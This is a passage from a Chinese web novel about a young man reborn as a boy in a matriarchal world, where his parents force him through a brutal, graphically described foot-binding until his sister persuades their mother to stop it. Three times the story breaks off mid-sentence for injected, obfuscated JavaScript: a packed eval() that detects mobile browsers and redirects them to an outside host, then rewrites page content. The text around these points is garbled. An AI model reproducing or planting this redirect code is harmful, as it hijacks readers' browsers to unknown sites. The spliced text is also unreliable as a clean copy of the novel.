《穿越男的女尊国生存手册》 1. 坤乾国 北方某都市。 近郊宽敞平坦的公路上,欧阳斌正独自驾驶着一辆崭新的小车在兜风。这辆能装逼撩妹的宝马3系轿跑,是他的20岁生日礼物。 虽然二十几万的车款让工薪阶层的父母有些为难,但作为欧阳家三代单传的宝贝儿子,他死活非要买这辆车,父母最后是拗不过他的。 一边开着车,欧阳斌一边戴着耳机跟朋友通话,声音和表情都洋洋得意。 “我刚刚提到新车了,现在正开着呢……那是,我想要的东西,我爸妈怎么都会想办法满足我……车子是全款买的,我爸让三个姐姐一人拿了五万,剩下的他包圆了……我姐姐必须答应啊,否则我爸妈就要不答应了……作为是欧阳家唯一的儿子,我受优待那不是再正常不过的事嘛……” 正打着电话,欧阳斌突然听到身后传来一阵急刹车的声音。 他本能地瞥了一眼后视镜,骇然发现右侧车道上一辆中型货车不知为何失控打滑,车头正像猛兽出笼般朝着他的车尾咆哮着扑来。 “不是吧?别撞我的新车啊!” 欧阳斌下意识地猛踩一脚油门,想要逃离即将高速追尾而来的货车,但是没能成功。 货车轰然一声撞上了宝马车,剧烈的震动让他瞬间失去了所有意识。 . 重新恢复意识时,欧阳斌迷迷糊糊中听到一阵哭声。 咦,为什么有小娃娃在哭?难道那辆失控的货车还撞到了其他车子吗? 死过机的大脑好不容易重启成功后,他才后知后觉地意识到一件事:怎么回事?这个哭声怎么是从我嘴里发出来的。 欧阳斌一向以东北纯爷们自居,最看不上大老爷们哭唧唧这种事。可是现在他不但在哭,而且还是一个小娃娃的哭声。 这种很不对劲的情况,让他心里直犯嘀咕:我去,怎么回事啊这是? 有心想要睁开双眼查看一下周围的情况,可是眼皮却沉重得根本睁不开,只能哭个不停。 除此以外,他还意识到自己的身体变小了,小到不可思议的地步。 欧阳斌突然反应过来:天啊!天啊天啊!难道我变成了一个婴儿吗? 头顶上方,有个气呼呼的女子声音落下来,充满了嫌弃与指责。 “怎么又是一个赔钱货的儿子?” 一个哭唧唧的男子声音回答道:“家主,我也不想的。” “你这个没用的男人,要是再不能为我们蔺家添一个能传宗接代的女儿,我就要休夫另娶了。” “是,多谢家主再给我一次机会,还请家主为儿子赐名。” “就叫招妹吧,看他能不能为蔺家招来一个妹妹。” 欧阳斌满头黑线:“……” 这是什么鬼地方?他怎么就成了赔钱货?还得了一个“招妹”这样的名字? 使出浑身力气睁开双眼后,欧阳斌无比惊讶地发现自己身在一间古香古色的屋子里。 眼前的一男一女都是身穿古装的人物,而他果然是一个被男子抱在怀里的婴儿。 老天,这是什么情况?那场车祸居然让他从现代穿越到了古代,还变成了一个刚出生的婴儿。 而且这个古代社会还不走寻常路: 女人是一家之主;男人可以被休弃;儿子是赚钱货;唯有女儿才能传宗接代——这分明是一个女尊男卑的世界啊! 小婴儿的哭声陡然一停,片刻后迸出的哭声更加高亢洪亮。 那是捋清楚了自己处境的欧阳斌,开启了暴风哭泣模式:爸,妈,我想回家。 . 十年后,金秋时节。 蔺家三进院落的宅子里,天井的两株桂花树正值花期,油绿枝叶间缀满了黄金屑似的桂子,香深似海。 蔺家家主蔺东玉刚刚外出归来,昂首挺胸地步入正房。 丈夫梁宽先伺候她更衣,再双手奉上一杯不冷不热的温茶,一副举案齐眉的恭敬姿态。 “家主,喝口茶润润嗓子吧!” 蔺东玉接过茶杯,梁宽就走到妻子身后替她揉起了肩膀,力道恰到好处,让她舒服地微微眯起双眼。 “宽郎,还是你伺候得我最舒服了。” “我跟了家主十几年,要是连这点能耐都没有,那任凭家主休弃也绝无二话。” “宽郎,你嫁给我十几年,为蔺家添了四个子女,没有功劳也有苦劳,我是无论如何也不会休你的。” 四个子女,重点在于最后那个女。 梁宽知道如果不是自己总算有了小女儿蔺曦,求女心切的蔺东玉搞不好已经休夫另娶了。 坤乾国繁衍后代的方式是卵生,女子怀孕五个月后会产下一枚肉卵,然后由男子接手孵化与养育后代的重任。 如果一直孵不出女婴,往往被视为是男子无能,会因七出中的“无女”之罪遭到休弃。 “家主一向待我是极好的,宽郎有幸嫁给家主为夫,也不知是几辈子修来的福分。” 门帘被僮仆从外面掀起,三个衣饰相同的少年轮流走进屋。 这是蔺东玉的三个儿子,分别是十五岁的长子蔺明,十三岁的次子蔺昀以及十岁的三子蔺昭。 “娘回来了,儿子们特来请安。” 三个孩子都生得眉清目秀,年纪最小的蔺昭更是一个粉雕玉琢的小男孩,是兄弟中最标致的一位。 蔺东玉朝着小儿子微笑挥手道:“招妹,你过来。” 蔺昭就是十年前魂穿过来的欧阳斌,尽管招妹这个乳名他是满心拒绝的,可一个小婴儿又能拒绝得了什么呢? 就算他眼下已经是一个十岁大的男童,也照样是什么都拒绝不了,只能在这个女尊男卑的坤乾国乖乖当招妹。 坤乾国——从这个国家的名字就能看出来,坤在前,乾在后,女子的地位要高于男子。 这里母权与妻权高于一切,男子必须依附女子才能生存。 虽然当年出生的时候惨遭嫌弃,但这个招妹很招妹,还真为蔺府招来了一个能继承家业的妹妹。 再加上他小模样长得讨喜,能靠脸猛刷好感,蔺东玉后来还是挺喜欢三儿子的。 . 蔺昭走到蔺东玉面前,她一边摸着他的头,一边道:“把你的脚抬起来让娘看看。” 蔺昭满脸不明就里的神色乖乖配合,蔺东玉低头端详的时候,梁宽在她身后不解地发问。 “家主,你为什么要看招妹的脚呢?” “我今日不是去凌府赴宴嘛,听凌老太君说,如今京城里那些高门大户的小郎君都时兴缠足,用长布条把脚缠得小小巧巧的。明郎和昀郎的年纪都缠不了,招妹这个岁数脚掌不大,骨头也还算嫩,倒是可以一试。” 蔺家世代居住的阳县,距离京城不过几天路程。京城那边有什么新鲜时髦的玩意儿,用不了多久就能传过来。 什么?缠足!蔺昭听得头皮一麻,脸色一白,浑身一哆嗦。 这种封建余孽的残酷审美标准,他之前只是听说过,都很同情那些惨遭荼毒的古代女子们。 万万没想到,这个女尊世界竟也给男子安排了同样的待遇。 蔺昭扑通一声就跪下了,冲着蔺东玉声泪俱下地哀求道:“不,娘,我不要缠足,求求您了。” 在现代社会的时候,欧阳斌经常挂在嘴边的一句话是:我可是东北纯爷们,纯的。 穿来女尊世界十年后,他在这方面的纯度已经严重不足。 曾经是男儿膝下有黄金、男儿有泪不轻弹;如今是双腿一软就是跪,嘴巴一张就是哭。 蔺东玉语重心重地道:“招妹,娘这都是为了你好。你还小不懂事,以后懂事了你会感谢娘的。” 梁宽也在一边妇唱夫随地道:“是啊招妹,大 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16353492|183595||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 家闺男都缠足的话,咱们小门小户的跟着学准没错了。” 蔺东玉满意地看着梁宽点点头。 “你说得没错,正是这个理儿。明日你就派人去找懂得如何缠足的人,尽快给招妹把脚缠上。” “是,家主请放心,我一定会办妥此事的。” 蔺昭的哭声更大了,蔺东玉不禁皱了一下眉头,梁宽察颜观色地出声斥责。 “招妹,你真是没规矩,还越哭越来劲了,一点儿郎应有的端方稳重都没有,再哭闹的话就要罚打手板了。” 蔺明上前一步,轻声细语道:“娘,爹,三弟年纪还小,不太懂事,要不我先带他回房再行规劝吧?” 蔺东玉同意了,“明郎,你是长兄,教导弟弟也是你的份内事,那你就把招妹带下去吧。” . 哭成小花脸的蔺昭被蔺明与蔺昀带出正房时,蔺家唯一的千金小姐,八岁的蔺曦刚好从学堂放学回家了。 “三哥怎么哭了?是做错事被娘责罚了吗?” 蔺曦好奇地发问后,蔺明摇头道:“不是的。” “那他为什么哭?” “四妹,你就别问了,先进屋去拜见娘和爹吧。” “我就要问,我可是蔺家的独女,未来的家主,家里无论发生什么事我都有权知道。” 蔺曦年纪虽小,脾气却不小,说话行事都透着一股能当家作主的大小姐范儿。 蔺明虽然是长兄,但在身为蔺家唯一继承人的四妹面前,却只有俯首贴耳的顺从份儿。 蔺昀在一旁插嘴道:“四妹,这事我们也说不清楚,要不你还是去问娘吧。” 蔺曦老气横秋地哼了一声:“也是,你们这些闺阁男子头发长见识短,很多事都弄不明白也说不清楚,我就不问你们了。” 兄妹俩的交谈声中,正屋的门帘一掀,蔺东玉在梁宽的陪同下走了出来。她是听到了宝贝女儿的声音,特意出来迎接。 “我的心肝宝贝回来了!曦儿,快过来让娘抱抱。” 蔺东玉看着宝贝女儿绽出一个满是宠溺的笑容,这个表情欧阳斌以前无数次在父母脸上看到过。 来到女尊世界后,虽然还是经常在蔺东玉脸上看见,但已经与他毫无关系,那是蔺曦的独家版权所有。 蔺曦亲亲热热地扑到娘怀里,指着泣不成声的蔺昭问:“娘,三哥为什么哭啊?” “我要安排你三哥缠足,他害怕就哭了。” “什么是缠足?很可怕吗?不然三哥怎么哭成这样。” “要用长布条把脚缠得小巧一点,怎么都会疼的,所以你三哥就害怕了。” “为什么要把脚缠小巧点?” “因为眼下时兴男子缠足,你大哥二哥的年纪已经缠不了,只有你三哥还可以试一试。” 蔺东玉平时不是一个很有耐心的人,但是对着宝贝女儿一向耐心十足,有问必答。 弄明白了怎么一回事后,蔺曦就对这件事失去了兴致,话题一转道:“娘,今天魏家三娘带了一支紫毫笔来学堂上课,我也想要。” 尖如锥兮利如刀的紫毫笔,集野山兔的项背之毫精制而成,因色呈紫黑而得名。千万毛中拣一毫,得之不易,价比金贵。 这种名贵的紫毫笔,其实并不适合刚刚启蒙不久的小学生使用。但是蔺曦的同学魏三娘有了一支,她就也想要一支。 “行,娘给你买。” 蔺东玉对宝贝女儿一向有求必应,只要她要,只要她有,就绝对不会拒绝。除非是摘天上的星星这种不可能完成的任务。 蔺东玉与蔺曦的对话,落入还没走远的蔺昭耳中,让他越发悲中从来,哭得无法自抑。 当初父母对欧阳斌也是这样有求必应,所以他才如愿以偿地有了那辆宝马车。早知道会因此出车祸穿来这个女尊世界,他真不应该要这个生日礼物。 2. 缠足 两天后,梁宽找到了一位懂得如何缠足的孙大娘,高薪诚聘她来蔺家为蔺昭缠足。 在此之前,蔺昭想过自己要不要逃。 可是蔺家的院子高度近五米,前门有人看守,后门终日上锁,他根本就跑不掉。 就算是能跑出去,一个十岁大的孩子又能往哪儿逃呢? 要是逃离蔺家后遇上人贩子结果只会更惨,不是被卖作奴婢就是被卖作男娼。 两害相权取其轻,思来想去一番后,蔺昭只能留在蔺家接受被迫缠足的安排。 西厢第三间屋子是蔺昭的卧室,梁宽领着孙大娘进了屋,她第一件事就是脱去他的鞋袜将脚掌揉捏一番。 “蔺老爷,六七岁才是缠足的最佳年龄,你家三郎已经十岁了,骨头不够软。我只能姑且一试,能不能成功却是无法打保票的。” 身为蔺东玉明媒正娶的结发丈夫,梁宽就是蔺家的当家主夫,能够被冠以妻姓称为蔺老爷。 如果是纳的夫侍相当于男妾,那就只能称小爷,也没资格冠妻姓。 “行,好歹试上一试,有劳孙大娘了。” 有了梁宽的允准,孙大娘就麻利地撸起袖子加油干了。 虽然蔺昭早就知道缠足无异于酷刑,也为自己做了不少心理建议,但还是因为她一通猛如虎的操作惨叫不止。 “啊……好疼……疼死我了……受不了了……别缠了……求求你……别缠了……” 孙大娘早就习惯了小男孩被迫缠足时迸出的哭喊与哀求,充耳不闻地继续缠。 硬生生把蔺昭的一双脚缠成了人为拗就的小巧新月状,再用针线把裹脚布密密缝紧。 那时候,蔺昭的嗓子都已经喊哑了。满脸都是泪水,满头都是冷汗,小模样别提多可怜了。 “蔺老爷,我替不少人家的儿郎缠过足,你家三郎可是最会闹腾的一个。这头一回缠我还没下狠劲呢,接下来还要缠得更紧,到时候还不知道他要哭闹成啥样。” 蔺昭一听想死的心都有了:不是吧?我都疼成这样了她居然没下狠劲,那以后我还得遭多少罪啊? “小孩子不懂事哭闹正常,他哭他的,你缠你的,该怎么缠就怎么缠。” “蔺老爷不心疼孩子就好,那我三天后再来。缠好的小脚每隔三天拆洗一次,这期间小郎君不能一直呆在床上,早晚都要下床走上半个时辰才行。” “知道了,多谢孙大娘。” 梁宽把孙大娘送出屋时,正好遇上蔺明和蔺昀站在门外探头探脑。 两个少年都是满脸惊恐不安的神色,毕竟刚才蔺昭迸出的惨叫声活像在挨刀子一样。 “爹,三弟怎么哭成这样,他没事吧?” 蔺明的问题梁宽还没回答,孙大娘已经见惯不怪地开了口。 “没事,缠足难免要吃点苦头的,捱过去就好了。” 蔺昀在一旁问:“爹,那我们可以进屋看看三弟吗?” “当然,你们进去吧。” 蔺明与蔺昀进了屋后,孙大娘笑眯眯地问起了梁宽。 “蔺老爷,这是你家大郎和二郎吧?模样儿都生得很是俊俏呢。我看大郎应该到了说媒的年纪,可曾许了什么人家?” “大郎今年十五,明年就要出阁嫁人,家主已经做主将他许配给了樊记布庄家的二娘子。” 坤乾国女尊男卑,所以是女婚男嫁——女子娶丈夫,男子嫁妻子。妻家是男子的婆家,夫家是女子的岳家。 蔺家也是商贾人家,蔺东玉的奶奶那一辈就经营茶行,挣下了上百亩良田,家道颇为殷实。 “这样啊,那想来定是一桩美满姻缘,恭喜蔺夫人蔺老爷了。” . 西厢屋里,蔺昭还在呜呜咽咽地哭个不停。看着他一双被布条缠得完全变了形的脚,蔺明与蔺昀的双眼都又惊又怕地瞪得浑圆。 “天啊,大哥,你快看三弟的脚都变成啥样了。” “三弟,你是不是很疼啊?” 蔺昭抽噎着道:“疼死我了,大哥,二哥,求求你们快找一把剪子来帮我剪开。” 蔺明与蔺昀对视了一眼,两张面孔上都是同样不敢造次的神色。 “不行啊三弟,既然是娘下令让爹给你缠足,那你就只能听话不能违抗,否则就是不孝。我和二弟也不能帮你做这样忤逆尊长的事,你只能忍耐了。” “对呀三弟,你就忍一忍吧!娘的话咱们做儿女的必须顺从无违,方是孝顺孩子。” 蔺昭:“……” 什么叫作封建思想害人不浅?这就是了。做父母的这样折磨孩子,做孩子的却必须为了一个孝字顺从忍耐,简直就是没天理啊! 蔺明与蔺昀却都认为这合情合理,因为他们从小就被洗脑了,洗得相当彻底相当成功。 如果蔺昭骨子里不是从21世纪穿来的欧阳斌,而是一直在这种封建思想的荼毒中长大,肯定也会和他们一样。 “三弟,要不我替你揉一揉脚,看能不能减轻一些疼痛吧。” “别碰,一碰就更疼了。” 蔺昭制止了蔺明碰他的脚,一旁的蔺昀从怀里掏出一块饴糖道:“三弟,要不你吃糖吧,有好吃的或许就不疼了。” “吃什么都没用,照样疼得厉害。” 送完客的梁宽进了屋,指挥起了长子与次子。 “明郎,昀郎,你们两个把招妹扶下床,陪他去院子上走上半个时辰。” 这无异于晴天霹雳呀!蔺昭呜呜咽咽的哭声立马又飚高了。 “不行,爹,我的脚太疼了,根本走不了。” “走不了也要走,孙大娘说了,只有这样以后你才能正常走路,否则就会变成双足残疾的废人。招妹,你如果不想变废人就要乖乖听话知道吗?” 蔺昭不想变废人,也不想下床走路,哭着往床上一躺滚来滚去,当起了撒泼打滚的熊孩子。 “我不要缠足,我要剪掉这些裹脚布,快点剪掉这些裹脚布。” 蔺家和坤乾国的许多家庭一样,都走严母慈父路线。梁宽平时对孩子们慈爱有加,轻易不会责罚,但是现在他却前所未有地板起了面孔。 “明郎,去把戒尺拿来。招妹,你要是再闹下去就要被打手板了。到时候手也痛脚也痛,还得乖乖去走路。” “三弟,你快别闹了,否则苦头只会吃得更多。爹息怒,我和二弟这就扶三弟下床走路。” 蔺明与蔺昀一左一右地把蔺昭扶下床,双足刚一落地,他就忍不住又迸出一声哭喊。 “啊啊啊,疼疼疼,太疼了!” “再疼也得继续走,孙大娘说了,多走一走就会习惯了。” 蔺昭被迫拖着一双 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16353493|183595||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 缠过的双足在院子里走路时,整个人都是暴风哭泣模式。真的太疼了!一阵又一阵钻心的疼痛,让他一直在倒抽冷气。 在蔺明与蔺昀的搀扶下,蔺昭好不容易捱过了这半个时辰的走路,回到床上时整个人都快虚脱了,却不忘恨恨地捶了一下床板。 ——缠足这种万恶到了极点的病态审美,到底是哪个该死的王八蛋搞出来的?老子要诅咒他的祖宗十八代。 . 三天后,孙大娘如约而至。 蔺昭一见到她就像见到活阎王一样,浑身不由自主地微微哆嗦起来。她也“不负所望”,又拿出一套让他听了越发心惊胆战的缠足方法。 “蔺老爷,头一回缠足时,不能缠得太紧,得先给三郎的脚一个适应的时间。今天就得下狠劲缠紧了,还得加点东西进去才行。” 蔺昭听不懂:什么意思?缠足还需要加料的吗? 梁宽也问道:“请教孙大娘,需要加什么东西呢?” “你让人取个瓷碗过来,砸成碎渣子后裹进三郎的脚底,走路时就会把筋肉割破。只有达到骨断筋破的效果,才能重塑筋骨缠出一双纤巧秀气的小脚。” 什么?蔺昭差一点裂开了:不带这么残忍的,这种野蛮操作也未免太没人性了! “不要啊爹,求求你了,儿子真的受不了这个罪,我宁愿去死也不要再缠足了。” 无论蔺昭如何苦苦哀求,梁宽还是坚决配合孙大娘的既定方针,为他的第二次缠足加足了料——在他的脚底垫满了锋利的碎瓷渣,再强行把他拉下床去院子里走路。 这一场罪就更难捱了,不夸张地说,真的就是每一步都走在刀尖上的感觉,让人痛不欲生,简直比酷刑还要酷刑。 蔺昭凄惨之极的哭喊声,用撕心裂肺都不足以形容万分之一。 蔺明和蔺昀一左一右地扶着他,看着他每走一步都在青石砖上留下越来越清晰的血脚印,两张面孔都是煞白一片。 半个时辰后,“刀尖上的行走”终于结束了。 那时候,蔺昭脚上的裹脚布已经被鲜血泅透了,看上去触目惊心。 梁宽把儿子抱回床上坐下后,指着鲜血斑斑的裹脚布问道:“孙大娘,裹脚布浸了血,是否要拆洗重裹?” “不用,还是三日后再拆洗。” 梁宽有些不放心:“可是脚上的伤口不管会烂掉的。” “就是要让它烂,把脚掌上该烂的肉都烂完清理干净后,脚也就自然而然会小巧多了。对吧?” 受尽折磨的蔺昭已经筋疲力尽,再一听孙大娘这番话,直接两眼一翻被吓晕过去了。 到底是自己的亲生儿子,梁宽终究有些余心不忍,迟疑了一下又道:“可是眼下天气炎热,伤口烂掉的话容易生病的。” “有道小脚一双,眼泪一缸。想要裹出一双标准的小脚就没有不受苦遭罪的,因为伤口腐烂导致疾病也在所难免。蔺老爷要是狠不下心就趁早放弃吧,也能让小郎君少吃点苦头。不过这事你应该做不了主,要不等蔺夫人回来你请示一下她吧!” “那是自然,此事只有家主才能做主。” 作为蔺家的一家之主,这个家的决策权都在蔺东玉手里,一切大事都由她拍板说了算。 梁宽这个当家主夫,主要负责“今天吃啥喝啥”之类鸡毛蒜皮的小事。 3. 卖惨 蔺昭悠悠醒转时,正好看见掀帘进屋的蔺曦,她刚放学回来了。 “三哥,听说你今天流了很多血,我来看看你。” 蔺曦软软糯糯的童音说到最后时,蓦地拔高为尖锐的惊呼声。 “天啊!三哥,你的脚怎么全是血?好多好多血啊!” 蔺昭忍不住又哭了。自从缠上足后他就成了男版林妹妹,每天都在可怜兮兮地掉眼泪。 可这能怪他吗?就算是人猿泰山那么MAN的壮汉遭遇了这种缠足酷刑,也肯定会变成大哭包一枚的。 “四妹,我好疼啊!你帮我去向娘求情,让她别再让我缠足了好吗?” 看着小脸煞白、泪眼汪汪的蔺昭,蔺曦不无同情地点了一下头,又不无纳闷地问道:“三哥,娘为什么要让你缠足啊?” “娘听说什么大户人家的公子最近时兴缠足,就非得让我也缠上。” “这就难怪了。如果大家闺男都缠足的话,等于缠足成了高贵的象征,肯定很多人想要效仿的。” 蔺曦六岁启蒙,已经在学墪上了两年学,见识比整天关在家里大门不出大字不识的哥哥们要多。 “娘就是觉得跟着大户人家学准没错,可这个缠足真的太遭罪了!四妹你看,我的脚都变成啥样子了,呜呜呜。” “三哥你别哭了,回头我见了娘帮你求个情,不过她会不会答应就不知道了。” 蔺曦一向在蔺东玉那边享受有求必应的VIP待遇,蔺昭知道自己只能抓住她这根救命稻草才行,否则他这双脚再缠下去就要彻底报废了。 “四妹,你知道娘为啥非要给我缠足吗?其实她这么做都是为了你。” 这个蔺曦就听不明白了,瞪大一双乌溜溜的大眼睛问道:“三哥,为什么娘给你缠足是为了我?” “昨夜娘来我房间呆了一会儿,我听见了她和爹的对话。” . 过去的几天,蔺东玉去了下头的浮梁县买茶办货。原定昨日下午可以回家,但路况不好耽误了,直到三更时分才到家。 那时几个孩子都已经睡着了,只有梁宽按惯例一直等着蔺东玉回来。 他是出了名的贤夫,只要妻子没有外出行商,就一定会先服侍她睡下才会安顿好自己。 蔺东玉进门后,第一件事就去蔺曦屋里看宝贝女儿,替她掖好被子再出来。因为蔺昭最近刚缠上足适应得很不好,也就顺便去他房间看了看。 梁宽跟在妻子身后一起进了屋,一边走一边轻声细语。 “家主,招妹自打缠上足后,天天哭闹不休。哭累了才会睡上一阵,不过睡不了多久又会疼醒继续哭,可能会惊扰到你夜里休息。” “无妨,据说小孩子缠足就没有不哭闹的,毕竟是要硬生生把一双脚拗断变小,听起来都疼得慌,他又怎么可能不哭闹呢?我能包容了。” 顿了一下后,蔺东玉又道:“虽然缠足很遭罪,但咱们不能心软,还是必须让招妹缠出一双小脚才成。宽郎,你明白我为什么要这么做吧?” 梁宽了然地点了一下头,“招妹的模样是三个儿子中最标致的,既然高门大户的人家注重小脚,咱们昭儿有了它,日后议亲时就能有机会高攀。” “是啊,有道是低娶高嫁。儿郎们嫁人时,如果有希望能嫁入高门大户,日后就有能力帮衬家里的姐妹。招妹若是能嫁给一位豪门千金,对曦儿只会大有好处。” “家主的心思我都明白,我会盯着招妹好好缠足的。” 蔺氏妇夫低声交谈时,蔺昭其实已经醒了。 他们的对话内容让他一颗心瓦凉瓦凉的,敢情蔺东玉这是把他当成为小女儿铺路的工具人啊! . 蔺昭把自己昨晚听到的一切都告诉了蔺曦。 “四妹,娘都是为了你才这样折腾我。因为你是蔺家唯一的女儿,以后要继承家业成为一家之主,而我只是一个赔钱货的儿子。可我看妹妹平时志向高远,不是那种想靠裙带关系的无能之辈,一定不稀罕这么做吧?” 蔺曦自然是经不起这样激将的,毫不犹豫地就摇头。 “当然了,我堂堂大女子,长大后会自己考取功名,封候拜相,才不需要靠哥哥们嫁人帮我搞裙带关系。” “我就知道四妹这样的大女子必有大格局,不屑于蝇营狗苟之事。就算娘是一片苦心为你考虑,你也会坚决有所为有所不为的,对吗?” “对,三哥你放心,等娘一回家我就去找她,让她别再逼你缠足了。” “多谢四妹,四妹你年纪虽小,却是我的大救星啊!” 蔺曦答应出面说服蔺东玉,蔺昭感觉这件事就算稳了。只盼着她能早点回来,好让自己的双脚早点得到解放。 . 这天是茶行每月一次的例行盘点,蔺东玉因此忙到半夜三更才回来,那时候蔺曦都已经睡了。 次日一早蔺东玉又有事早早出了门,那时候蔺曦都还没起床。 “三哥,我一直没有见到娘,这两天她早出晚归实在太忙了。我先去上学了,今晚我就算不睡觉也会等到娘回来,把这件事给你办妥了。” 蔺昭大失所望,这意味着自己今天还得继续受罪。他两眼泪汪汪地拉着蔺曦的小手,卖起了货真价实的惨。 “四妹,你看看我的脚,就知道我有多痛苦了。拜托你快点帮我去找娘求情,否则我只怕是要撑不住了。” 蔺昭的声音有气无力,脸色也苍白如纸,蔺曦有些不安地问:“三哥,你的脸色好难看,是不是很难受?” “是啊,我难受极了,感觉自己就快要死了。” 这一番加料缠足的操作野蛮又残忍,被碎瓷渣割伤的脚底让蔺昭因为失血而虚弱。 而伤口没有得到妥善处理也开始感染,又让他发起了烧,变得越发虚弱无力。 “爹,爹,你快来看看三哥,他好像病了。” 梁宽被蔺曦叫过来时,对蔺昭的情况早有心理准备。 “曦儿,你先去上学吧,三哥这边爹自会照料。” . 梁宽让人去请了大夫上门出诊,但又不准剪开裹脚布为伤口清创,只是让他开几服活血去瘀清热退烧的药。 大夫面有难色,“如果令郎的伤口不处理,会继续恶化至溃烂流脓,这个过程中根本没法退烧的。” “我知道,这是缠足必不可少的步骤。伤口且由着它溃烂,你只管想法子让他双足的腐肉之毒别蔓延开来就行了。” “好吧,那就依蔺老爷的意思来治。” 无可奈何地叹口气后,医者仁心的大夫忍不住又多说了几句。
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16353494|183595||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > “也不知这个缠足是如何时兴起来的?但这么做无异于人为制造残疾。缠成的小脚以后走路会很不方便,更有可能从此都没法再正常行走甚至是站立。好端端的一个孩子,为什么非要折磨成残疾呢?” 梁宽听得心里一紧,“什么?缠足可能导致孩子变残疾?” “那是自然,都把脚掌的骨头拗断筋肉割断了,以后怎么可能还跟正常人一样嘛!” “可是,我听说有些缠足成功的儿郎,都能照样踩着一双纤纤小脚正常行走。” “那不叫正常行走,那叫勉强行走,也根本走不了多远。而且除了这些尚能走动的人外,还有双脚畸形后根本无法走路的,一生只能或坐或躺,形同废人一个。” 梁宽听得心里只打鼓,中午时分因此亲自跑去茶行给蔺东玉送饭,把大夫的这番话都告诉了她。 “家主,听了大夫说的话,我一颗心七上八下的。这要是万一运气不好,昭儿因为缠足变成了残疾,那日后别说嫁高门大户了,就算是想嫁人都难啊!” 梁宽能想到的,蔺东玉自然也能想到,这的确是一大隐患。 “知道了,你先回家去,我好好考虑一下再说。” . 蔺东玉考虑了一下午都拿不定主意。 就此放弃心有不甘,可要是缠足的结果不能得偿所愿,一个残疾儿子非但帮不上女儿半点忙,反倒还会成为她的拖累。 傍晚的时候,迟迟做不出决定的蔺东玉回到家,发现宝贝女儿蔺曦就站在家门口等她。 “娘,您总算回来了。” “宝贝女儿,你这是在特意等着接我回家吗?真是一个有孝心的好孩子。” 像往常一样,蔺东玉只要一见到蔺曦就眉开眼笑,一把抱住她各种又亲又揉。 “唉呀娘,人家又不是小孩子了,您别这样了。” 蔺曦老气横秋地做小大人状,让蔺东玉笑得更开心:瞧我这闺女,小小年纪就有大人的样子,一看就是当家主的料啊! “娘,我找您有事。” “什么事啊?” “娘,求您别让三哥缠足了。他流了好多血,人都病倒了。早晨就在发烧,现在还烧得更厉害了。您不信就去他屋里瞧瞧。” 蔺曦拉着蔺东玉进了蔺昭的屋子,前天夜里她只是匆匆瞟了一眼,屋里又熄了灯,看得不真切。 今日一照面,她才骇然发现三儿子才几天功夫就被折磨得瘦了一大圈。一双脚不但被裹脚布缠到变形,布条还被鲜血泅得湿透。 蔺昭有气无力地躺上床上,小脸烧得红彤彤,唇色却泛白,整个人虚弱到了极点。可是双足像被烙铁烧灼般的疼痛难忍,让他根本没法入睡休息。 见到蔺东玉,他嘴巴一扁就开始哭,哭得要多可怜就多可怜。这个惨非卖不可,而且卖得货真价实童叟无欺。 蔺曦在一旁道:“娘,您看三哥多可怜啊!快别让他缠足了,赶紧解开裹脚布吧!” 梁宽也走到蔺东玉身边愁眉苦脸地道:“家主,大夫说招妹身子弱,这样折腾下去怕是人要吃不消,这可如何是好?” “当然是不缠了。娘,我求求您,快别让三哥受这个罪了。” 蔺曦强烈反对的态度让蔺东玉终于下定决心,“罢了,那就不缠了。” 4. 育子囊 蔺昭找对了帮手,有了蔺曦帮忙求情,蔺东玉果然答应不再让他缠足。 虽然缠足计划取消了,但蔺昭还有一番大大的苦头要吃。大夫过来为他拆掉裹脚布时,他再次迸发出撕心裂肺的哭喊声。 因为血淋淋的布条已经跟伤口的血肉紧紧粘在了一起,撕下时的痛苦无异于剥皮剜肉。痛得他死去活来,惨叫连天。 折下裹脚布后,蔺昭一双脚已经变得面目全非惨不忍睹,脚掌上全是密密麻麻的伤口。 清创时大夫一一挑出嵌在血肉里的碎瓷渣,又相当于一场疼痛难忍的酷刑。 这期间,蔺昭昏厥过去好几次又活活痛醒,真恨不得直接死掉算了。 他一直在心里疯狂大骂发明缠足的人:该死的王八羔子,我要诅咒你的祖宗十八代,不,是八十代、八百代、八千代。 缠足造成的伤势,让蔺昭卧床休养了几乎一个月才能下地。 虽然大夫尽了最大努力为他疗伤,但伤痕累累的双脚还是很难恢复如初,从此他走路稍微久一点就会脚痛。 . 卧床休养的一个月里,蔺昭还迎来了坤乾国男子人生很重要的一个关键点——他的肚皮变厚了。 坤乾国的男子天生都有两层肚皮。更确切地来说,一层是肚皮,另一层是覆在肚皮上形状如贴袋般的育子囊。 坤乾国繁衍后代的方式是卵生,女子负责怀孕产下肉卵,然后由男子接手孵化与养育孩子的重任。 男子的育子囊就是起孵化作用的。 